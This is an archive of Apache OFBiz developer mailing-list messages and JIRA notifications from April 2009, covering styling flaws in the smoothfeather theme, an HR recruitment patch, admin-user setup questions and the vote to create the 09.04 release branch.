[jira] Closed: (OFBIZ-2311) com.bosent.entity.GenericValue
[ https://issues.apache.org/jira/browse/OFBIZ-2311?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Adrian Crum closed OFBIZ-2311. -- Resolution: Fixed Fixed, rev 765864. com.bosent.entity.GenericValue -- Key: OFBIZ-2311 URL: https://issues.apache.org/jira/browse/OFBIZ-2311 Project: OFBiz Issue Type: Bug Components: product Affects Versions: SVN trunk Environment: svn Reporter: bj_zhou Fix For: SVN trunk indexProductKeywords has same bug as indexWorkEffortKeywords descript in bug 2268 -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2205) Implemented recruitment in HR module
[ https://issues.apache.org/jira/browse/OFBIZ-2205?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700034#action_12700034 ] Ashish Vijaywargiya commented on OFBIZ-2205: Hello Abhinav, Thanks for your continue work on this. I will review your patch on this weekend and will share my thoughts / comments. Sorry for being little late but I was bit busy in last week so didn't get a chance to review your patch. -- Ashish Implemented recruitment in HR module Key: OFBIZ-2205 URL: https://issues.apache.org/jira/browse/OFBIZ-2205 Project: OFBiz Issue Type: New Feature Components: humanres Affects Versions: SVN trunk Environment: Windows XP Professional (5.1, Build 2600) Service Pack 2, Intel(R) Core(TM)2 CPU 4300 @ 1.80GHz (2 CPUs), 1014MB RAM, jdk1.5.0, apache-ant-1.7.0 Reporter: Abhinav Vaid Assignee: Ashish Vijaywargiya Priority: Minor Fix For: SVN trunk Attachments: HR_Recruitment.patch, HR_Recruitment.patch, HR_Recruitment.patch, HR_Recruitment.patch, HR_Recruitment.patch In this patch we have included recruitment in the HR module. Recruitment performs tasks such as admin can create new job requisitions. He can update or delete new job requisitions. Now once the job requisition has been added, it is visible to all the employees. Then if interested employee wants to apply for the job requisition he sends it for approval to his superior. Superior from his login can check who all have applied for job requisition. He can update the status and same is reflected at employee's end. Here admin can also create new interview types and he can store the information of the diffrent interviews of employees. We have created Security groups: HUMANRES_APPROVER HUMANRES_EMPLOYEE We have created Security permissions: HUMANRES_APPROVE We have created Login Id's : demoadmin belongs to FULLADMIN security group demoapprover belongs to HUMANRES_APPROVER security group demoemployee belongs to HUMANRES_EMPLOYEE security group -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
Rev 765862
Using the latest SVN trunk, if I navigate to https://localhost:8443/webtools/control/main using Windows XP and FF3, I can't log in. The page is distorted, and I can't make any sense out of it. I can supply a screenshot if no one else experiences it. -Adrian
Re: Valid certificates installed
Thanks Tim :) -- Ashish On Thu, Apr 16, 2009 at 9:54 PM, Tim Ruppert tim.rupp...@hotwaxmedia.comwrote: Guys, we've got real certs for our domains now - which I'm happy to say took longer than expected. It has been installed on the following domains: 1. demo.ofbiz.org 2. demo40.ofbiz.org 3. demo904.ofbiz.org - this is not functional yet 4. docs.ofbiz.org - this is not really using it yet. Just wanted everyone to know - I'll start another thread around demo904 and docs soon. Cheers, Tim -- Tim Ruppert HotWax Media http://www.hotwaxmedia.com o:801.649.6594 f:801.649.6595
Re: Rev 765862
Seems to work well here so far after an ant clean-all and and with a brand new fresh DB (Postgres on XP using FF3) Jacques From: Adrian Crum adrian.c...@yahoo.com Using the latest SVN trunk, if I navigate to https://localhost:8443/webtools/control/main using Windows XP and FF3, I can't log in. The page is distorted, and I can't make any sense out of it. I can supply a screenshot if no one else experiences it. -Adrian
[jira] Created: (OFBIZ-2312) Styling flaws in smoothfeather
Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700057#action_12700057 ] Jacques Le Roux commented on OFBIZ-2312: Issue 1 Borders issue in login screen Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700058#action_12700058 ] Jacques Le Roux commented on OFBIZ-2312: Issue 2 Lookup forms are too small and the new theme does not fit well in them Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700063#action_12700063 ] Jacques Le Roux commented on OFBIZ-2312: Issue 3 Ashish's comment in user ML In the Search form or Create form we have kept Horizontal Bar (hr) after each field. In my opinion this reduces the readability of form. Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700065#action_12700065 ] Jacques Le Roux commented on OFBIZ-2312: Issue 4 In viewprofile page (you can't acces to it with the UI alone so use the link below, this will be another issue) the title hide some menus https://localhost:18443/partymgr/control/viewprofile?partyId=DemoCustomer Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700067#action_12700067 ] Jacques Le Roux commented on OFBIZ-2312: Issue 5 Ashish's comment on user ML The ViewProfile page is one of the page that contains heavy data (refer to link in issue 4) * The other links like Billing Account, Financial Accounts, Communications are placed vertically and that should be placed horizontal separated by piping symbol (or some better option) so that we could save the page area vertically. * Its difficult to understand starting of new section heading and its associated block like we have sections by heading Personal Information, Contact Information, List Related Accounts. For example its difficult the read the details present in Payment Method Information that is next block of Loyality Points. Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700069#action_12700069 ] Jacques Le Roux commented on OFBIZ-2312: Issue 6 Back link does not work at https://localhost:8443/partymgr/control/editcontactmech?partyId=DemoCustomer Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700070#action_12700070 ] Jacques Le Roux commented on OFBIZ-2312: Issue 7 Ashish's comment on user ML On the search result form sometime it shows the link for ID fields on mouse hover but sometime don't show. This has been also noticed by Hans and he gave an example. After a search on parties you can't get to a party : the link does not work Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700072#action_12700072 ] Jacques Le Roux commented on OFBIZ-2312: Issue 8 Ashish's comment on user ML Next, Previous, First and Last etc are aligned vertically. https://localhost:8443/partymgr/control/FindSecurityGroup. And I found that they do not always work Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700076#action_12700076 ] Jacques Le Roux commented on OFBIZ-2312: Issue 10 Adrian's comment on user ML The current default and bluelight themes are scalable - you can change the font size from your browser. The smoothfeather theme is fixed pitch - you can't change the font size. Also, smoothfeather doesn't fit on my screen. That theme won't be usable where I work because many of our users have their screen resolutions set to 800x600. When designing themes, keep in mind that back office workers might have poor eyesight, or may be blind. The developer community put a lot of work into making the current theme accessible. *If the default theme is changed, maybe we can market the current theme as the accessible one.* Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Issue Comment Edited: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700076#action_12700076 ] Jacques Le Roux edited comment on OFBIZ-2312 at 4/17/09 1:27 AM: - Issue 10 Adrian's comment on user ML The current default and bluelight themes are scalable - you can change the font size from your browser. The smoothfeather theme is fixed pitch - you can't change the font size. Also, smoothfeather doesn't fit on my screen. That theme won't be usable where I work because many of our users have their screen resolutions set to 800x600. When designing themes, keep in mind that back office workers might have poor eyesight, or may be blind. The developer community put a lot of work into making the current theme accessible. *If the default theme is changed, maybe we can market the current theme as the accessible one.* And I added. Also we may associate recommendations (resolutions, browsers, etc.) with each theme and show these recommendations in the themes gallery was (Author: jacques.le.roux): Issue 10 Adrian's comment on user ML The current default and bluelight themes are scalable - you can change the font size from your browser. The smoothfeather theme is fixed pitch - you can't change the font size. Also, smoothfeather doesn't fit on my screen. That theme won't be usable where I work because many of our users have their screen resolutions set to 800x600. When designing themes, keep in mind that back office workers might have poor eyesight, or may be blind. The developer community put a lot of work into making the current theme accessible. *If the default theme is changed, maybe we can market the current theme as the accessible one.* Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Issue Comment Edited: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700076#action_12700076 ] Jacques Le Roux edited comment on OFBIZ-2312 at 4/17/09 1:31 AM: - Issue 10 Adrian's comment on user ML The current default and bluelight themes are scalable - you can change the font size from your browser. The smoothfeather theme is fixed pitch - you can't change the font size. was (Author: jacques.le.roux): Issue 10 Adrian's comment on user ML The current default and bluelight themes are scalable - you can change the font size from your browser. The smoothfeather theme is fixed pitch - you can't change the font size. Also, smoothfeather doesn't fit on my screen. That theme won't be usable where I work because many of our users have their screen resolutions set to 800x600. When designing themes, keep in mind that back office workers might have poor eyesight, or may be blind. The developer community put a lot of work into making the current theme accessible. *If the default theme is changed, maybe we can market the current theme as the accessible one.* And I added. Also we may associate recommendations (resolutions, browsers, etc.) with each theme and show these recommendations in the themes gallery Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700083#action_12700083 ] David E. Jones commented on OFBIZ-2312: --- Issue 1 should be resolved by SVN rev 765888. Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
Re: lack of admin user during install
Hi Adam, On Apr 16, 2009, at 11:43 PM, Adam Heath wrote: David E Jones wrote: You must have missed quite a few messages to not have seen the discussion around this... The short answer is to look at the build.xml file, there is a target there for creating your own admin user (thanks to Jacopo for this!). Ok, see the ant targets. I won't do it that way for debian, I'll use debconf, which is much nicer. This may help: http://docs.ofbiz.org/x/aQM Actually, no, those ant targets fail. I said there is no admin *Party*. The ant targets just create UserLogin and UserLoginSecurityGroup, but do *not* create the Party. The ant targets should work fine but yes, they don't create a party record, which is not available in a framework only setup and should not required by the applications. However, due to a bad ui design it is not possible (unless you use the webtools) to create users/permissions/parties just using an administrator login: I know Adrian was working in the migration of the security screens to the webtools application, after this is done it will be possible to use the administrator login to create parties/security records etc... The best solution right now is to use the webtools to add a Party record associated to the user. I hope it helps, Jacopo smime.p7s Description: S/MIME cryptographic signature
[jira] Commented: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700088#action_12700088 ] Jacques Le Roux commented on OFBIZ-2312: Issue 11 Size of screen and resolution used by default Adrian's comment on user ML, Hans's comment on user ML. Hans gave an example, there are tons https://localhost:8443/projectmgr/control/MyTimesheet Smoothfeather doesn't fit on my screen. That theme won't be usable where I work because many of our users have their screen resolutions set to 800x600. When designing themes, keep in mind that back office workers might have poor eyesight, or may be blind. The developer community put a lot of work into making the current theme accessible. *If the default theme is changed, maybe we can market the current theme as the accessible one.* And I added. Yes, The default size is too large, you need to have a wide screen to see it correctly, especially with IE. And there are still a lot of people using 1024*768 resolution in the world http://www.w3schools.com/browsers/browsers_display.asp And even using FF3, Chrome Opera or Safari with a wider screen (1680*1050) you get an issue when looking, for instance, at the Store (the store infos are wrapped). And I don't speak about having a panel open at left, etc. Also, IMO, the order view in only one column is not easy to read, YMMV *Also we may associate recommendations (resolutions, browsers, etc.) with each theme and show these recommendations in the themes gallery* Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
Re: [VOTE][RESULT] Create Release Branch 2009.04
Okay, at long last the release branch is created. The URL for it is: https://svn.apache.org/repos/asf/ofbiz/branches/release09.04 Tim Ruppert will be heading up build and demo resources for this in the near future, and for now it is in SVN. Just as with the release4.0 branch this now means as contributors to the trunk we should watch out for fixes that should also go into the branch and apply them there as well. Thanks to everyone who has helped, and everyone who is continuing to help, with this. -David On Apr 15, 2009, at 11:59 PM, David E Jones wrote: [+1] Binding: David, Adrian, Anil, Scott, Jacopo [+1] Non-binding: Sam, Tim, Ashish, Vikas, Bruno, Pranay, Shi, Marco, Ravindra [+0]: 0 [-1]: 0 Based on this result (more than 3 binding +1 votes and more +1 than -1 votes) the vote has passed. In respect for comments about the time, I'll wait for about 12 hours more from the time of this email (that makes it mid-day Thursday my time) to do the actual branch. If anyone would like to vote after this that's fine, but unless something major comes up we'll consider this vote binding and do the release branch as has been planned for (though ~1.5 days after). With that timing the press release should go out early (probably Monday) of next week, for those interested in such things. -David On Apr 14, 2009, at 3:14 PM, David E Jones wrote: Today is the day we have discussed for a while! A lot of improvements and fixes have gone in over the last few weeks, but it is important to remember that the release branch is primarily time- based and is a line in the sand as it were to begin the effort of stabilizing a specific code base so that end-users who want stability over features have that option. Some things make it in, and other things don't make it, and that is true no matter when we draw the line (but we don't want to delay it forever). What we have in place it a HUGE improvement over the release4.0 branch, and that is the most important point to keep in mind. Along with that there is a planned press release coordinated with the Apache Software Foundation Public Relations Committee (that's a mouthful! no wonder we use acronyms like: ASF PRC) for tomorrow morning (Wed 15 April). That said, the target date/time for the release branch is later tonight (and when I say tonight I mean according to USA time, just to clarify). To follow the date pattern we have discussed and make it clearly a date I'm thinking of the actual name for the branch directory to be release200904 (and please feel free to comment on that if you think something else is better). However, that I will only do that IFF we have a positive vote for the release, hence this message! Please vote: [+1] Create the release branch tonight, April 14th (it will be April 15th for GMT-0) [+0] Abstain [-1] Do not create the release branch tonight Please remember that everyone is free to (and encouraged to!) vote, but only the PMC votes are binding. Thanks to everyone who has made this possible with amazing contributions over the last 2 years, and a heightened activity in recent weeks and months to make this a spectacular release. -David
[jira] Updated: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacques Le Roux updated OFBIZ-2312: --- Description: I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go I wondered how to close (sub-)issues here. I thought about removing comments but using -understrike- with a notice should be far better. You get -understrike- using \-understrike\- was: I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go I wondered how to close (sub-)issues here. I thought about removing comments but using -understrike- with a notice should be far better. You get -understrike- using \-understrike\- -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700089#action_12700089 ] Jacques Le Roux commented on OFBIZ-2312: David, Issue 1 : it's a bit better but on Windows with FF3 not quite right. I wondered how to close (sub-)issues here. I thought about removing comments but using -understrike- with a notice should be far better. You get -understrike- using \-understrike\- Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Issue Comment Edited: (OFBIZ-2312) Styling flaws in smoothfeather
[ https://issues.apache.org/jira/browse/OFBIZ-2312?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700089#action_12700089 ] Jacques Le Roux edited comment on OFBIZ-2312 at 4/17/09 2:11 AM: - David, Issue 1 : it's a bit better but on Windows with FF3 not quite right. I wondered how to close (sub-)issues here. I thought about removing comments but editing the original comment and using -understrike- with a notice should be far better. You get -understrike- using \-understrike\- was (Author: jacques.le.roux): David, Issue 1 : it's a bit better but on Windows with FF3 not quite right. I wondered how to close (sub-)issues here. I thought about removing comments but using -understrike- with a notice should be far better. You get -understrike- using \-understrike\- Styling flaws in smoothfeather -- Key: OFBIZ-2312 URL: https://issues.apache.org/jira/browse/OFBIZ-2312 Project: OFBiz Issue Type: Sub-task Affects Versions: SVN trunk Environment: XP FF3 Reporter: Jacques Le Roux Fix For: SVN trunk I was to create an issue for each styling flaws in smoothfeather, but it's far too mcuh work. So I have created only one issue to list what we find. We can create a numbered comment for each issue to separate them and refer easily to them whe fixed. Here we go I wondered how to close (sub-)issues here. I thought about removing comments but editing the original comment and using -understrike- with a notice should be far better. You get -understrike- using \-understrike\- -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2313) Support of BigDecimal to WebPos
[ https://issues.apache.org/jira/browse/OFBIZ-2313?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700104#action_12700104 ] Marco Risaliti commented on OFBIZ-2313: --- There is some services that need to be changed to support BigDecimal correctly on WebPos. I will provide a patch soon. Thanks Marco Support of BigDecimal to WebPos --- Key: OFBIZ-2313 URL: https://issues.apache.org/jira/browse/OFBIZ-2313 Project: OFBiz Issue Type: Bug Components: specialpurpose/webpos Affects Versions: Release Branch 9.04, SVN trunk Reporter: Marco Risaliti Assignee: Marco Risaliti Priority: Minor Fix For: Release Branch 9.04, SVN trunk -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
Re: New Default Theme?
From: Jacques Le Roux jacques.le.r...@les7arts.com I'd like to complete OFBIZ-2309 by creating incorpotated issues from Ashish's, Bruno's, Adrian's and Hans's remarks (of course if someone wants to create them it would be great) And I'd like to fix these issues and commit them on the new branch Done at https://issues.apache.org/jira/browse/OFBIZ-2312 Jacques
Re: [VOTE][RESULT] Create Release Branch 2009.04
David, Thank you so much for your work on this! Combined with the forthcoming press release, I believe OFBiz will be entering a new era. -Adrian --- On Fri, 4/17/09, David E Jones david.jo...@hotwaxmedia.com wrote: From: David E Jones david.jo...@hotwaxmedia.com Subject: Re: [VOTE][RESULT] Create Release Branch 2009.04 To: dev@ofbiz.apache.org Date: Friday, April 17, 2009, 2:08 AM Okay, at long last the release branch is created. The URL for it is: https://svn.apache.org/repos/asf/ofbiz/branches/release09.04 Tim Ruppert will be heading up build and demo resources for this in the near future, and for now it is in SVN. Just as with the release4.0 branch this now means as contributors to the trunk we should watch out for fixes that should also go into the branch and apply them there as well. Thanks to everyone who has helped, and everyone who is continuing to help, with this. -David On Apr 15, 2009, at 11:59 PM, David E Jones wrote: [+1] Binding: David, Adrian, Anil, Scott, Jacopo [+1] Non-binding: Sam, Tim, Ashish, Vikas, Bruno, Pranay, Shi, Marco, Ravindra [+0]: 0 [-1]: 0 Based on this result (more than 3 binding +1 votes and more +1 than -1 votes) the vote has passed. In respect for comments about the time, I'll wait for about 12 hours more from the time of this email (that makes it mid-day Thursday my time) to do the actual branch. If anyone would like to vote after this that's fine, but unless something major comes up we'll consider this vote binding and do the release branch as has been planned for (though ~1.5 days after). With that timing the press release should go out early (probably Monday) of next week, for those interested in such things. -David On Apr 14, 2009, at 3:14 PM, David E Jones wrote: Today is the day we have discussed for a while! A lot of improvements and fixes have gone in over the last few weeks, but it is important to remember that the release branch is primarily time-based and is a line in the sand as it were to begin the effort of stabilizing a specific code base so that end-users who want stability over features have that option. Some things make it in, and other things don't make it, and that is true no matter when we draw the line (but we don't want to delay it forever). What we have in place it a HUGE improvement over the release4.0 branch, and that is the most important point to keep in mind. Along with that there is a planned press release coordinated with the Apache Software Foundation Public Relations Committee (that's a mouthful! no wonder we use acronyms like: ASF PRC) for tomorrow morning (Wed 15 April). That said, the target date/time for the release branch is later tonight (and when I say tonight I mean according to USA time, just to clarify). To follow the date pattern we have discussed and make it clearly a date I'm thinking of the actual name for the branch directory to be release200904 (and please feel free to comment on that if you think something else is better). However, that I will only do that IFF we have a positive vote for the release, hence this message! Please vote: [+1] Create the release branch tonight, April 14th (it will be April 15th for GMT-0) [+0] Abstain [-1] Do not create the release branch tonight Please remember that everyone is free to (and encouraged to!) vote, but only the PMC votes are binding. Thanks to everyone who has made this possible with amazing contributions over the last 2 years, and a heightened activity in recent weeks and months to make this a spectacular release. -David
Re: [VOTE][RESULT] Create Release Branch 2009.04
Yes, thank you David, and thank you also to all the people that made this new step for OFBiz possible! Jacques From: Adrian Crum adrian.c...@yahoo.com David, Thank you so much for your work on this! Combined with the forthcoming press release, I believe OFBiz will be entering a new era. -Adrian --- On Fri, 4/17/09, David E Jones david.jo...@hotwaxmedia.com wrote: From: David E Jones david.jo...@hotwaxmedia.com Subject: Re: [VOTE][RESULT] Create Release Branch 2009.04 To: dev@ofbiz.apache.org Date: Friday, April 17, 2009, 2:08 AM Okay, at long last the release branch is created. The URL for it is: https://svn.apache.org/repos/asf/ofbiz/branches/release09.04 Tim Ruppert will be heading up build and demo resources for this in the near future, and for now it is in SVN. Just as with the release4.0 branch this now means as contributors to the trunk we should watch out for fixes that should also go into the branch and apply them there as well. Thanks to everyone who has helped, and everyone who is continuing to help, with this. -David On Apr 15, 2009, at 11:59 PM, David E Jones wrote: [+1] Binding: David, Adrian, Anil, Scott, Jacopo [+1] Non-binding: Sam, Tim, Ashish, Vikas, Bruno, Pranay, Shi, Marco, Ravindra [+0]: 0 [-1]: 0 Based on this result (more than 3 binding +1 votes and more +1 than -1 votes) the vote has passed. In respect for comments about the time, I'll wait for about 12 hours more from the time of this email (that makes it mid-day Thursday my time) to do the actual branch. If anyone would like to vote after this that's fine, but unless something major comes up we'll consider this vote binding and do the release branch as has been planned for (though ~1.5 days after). With that timing the press release should go out early (probably Monday) of next week, for those interested in such things. -David On Apr 14, 2009, at 3:14 PM, David E Jones wrote: Today is the day we have discussed for a while! A lot of improvements and fixes have gone in over the last few weeks, but it is important to remember that the release branch is primarily time-based and is a line in the sand as it were to begin the effort of stabilizing a specific code base so that end-users who want stability over features have that option. Some things make it in, and other things don't make it, and that is true no matter when we draw the line (but we don't want to delay it forever). What we have in place it a HUGE improvement over the release4.0 branch, and that is the most important point to keep in mind. Along with that 